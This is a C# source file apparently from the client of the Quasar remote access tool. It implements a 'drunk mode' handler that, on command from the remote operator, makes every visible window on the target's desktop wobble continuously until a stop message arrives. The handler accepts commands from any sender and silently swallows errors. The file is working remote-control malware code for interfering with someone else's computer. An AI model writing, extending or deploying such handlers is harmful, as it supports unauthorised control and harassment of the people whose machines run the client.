using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Threading;

namespace Quasar.Client.Messages
{
    public class DrunkModeHandler : IMessageProcessor, IDisposable
    {
        [DllImport("user32.dll")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);
        [DllImport("user32.dll")] static extern bool IsWindowVisible(IntPtr hWnd);
        [DllImport("user32.dll")] static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);
        [DllImport("user32.dll")] static extern bool SetWindowPos(IntPtr hWnd, IntPtr hAfter, int X, int Y, int cx, int cy, uint uFlags);
        [DllImport("user32.dll")] static extern int  GetWindowLong(IntPtr hWnd, int nIndex);

        delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);

        [StructLayout(LayoutKind.Sequential)]
        struct RECT { public int Left, Top, Right, Bottom; }

        const uint SWP_NOSIZE         = 0x0001;
        const uint SWP_NOZORDER       = 0x0004;
        const uint SWP_NOACTIVATE     = 0x0010;
        const uint SWP_NOSENDCHANGING = 0x0400;
        const int  GWL_STYLE          = -16;
        const int  WS_MAXIMIZE        = 0x01000000;
        const int  WS_MINIMIZE        = 0x20000000;

        private Thread        _thread;
        private volatile bool _running;

        public bool CanExecute(IMessage message) => message is DoStartDrunkMode || message is DoStopDrunkMode;
        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            if (message is DoStartDrunkMode) Start();
            else if (message is DoStopDrunkMode) Stop();
        }

        private void Start()
        {
            if (_running) return;
            _running = true;
            _thread = new Thread(DrunkLoop) { IsBackground = true };
            _thread.Start();
        }

        private void Stop()
        {
            _running = false;
        }

        private void DrunkLoop()
        {
            try
            {
                // snapshot all moveable windows and their original positions
                var origX = new Dictionary<IntPtr, int>();
                var origY = new Dictionary<IntPtr, int>();

                EnumWindows((hWnd, _) =>
                {
                    if (!IsWindowVisible(hWnd)) return true;
                    int style = GetWindowLong(hWnd, GWL_STYLE);
                    if ((style & WS_MAXIMIZE) != 0 || (style & WS_MINIMIZE) != 0) return true;
                    RECT r;
                    if (GetWindowRect(hWnd, out r))
                    {
                        origX[hWnd] = r.Left;
                        origY[hWnd] = r.Top;
                    }
                    return true;
                }, IntPtr.Zero);

                double t = 0;
                while (_running)
                {
                    int xOff = (int)(Math.Sin(t * 0.9)  * 35);
                    int yOff = (int)(Math.Sin(t * 0.55 + 1.3) * 20);

                    foreach (var hWnd in origX.Keys)
                    {
                        SetWindowPos(hWnd, IntPtr.Zero,
                            origX[hWnd] + xOff, origY[hWnd] + yOff,
                            0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE | SWP_NOSENDCHANGING);
                    }

                    t += 0.05;
                    Thread.Sleep(20);
                }

                // restore all windows to their original positions
                foreach (var hWnd in origX.Keys)
                {
                    SetWindowPos(hWnd, IntPtr.Zero,
                        origX[hWnd], origY[hWnd],
                        0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE | SWP_NOSENDCHANGING);
                }
            }
            catch { }
        }

        public void Dispose() => Stop();
    }
}
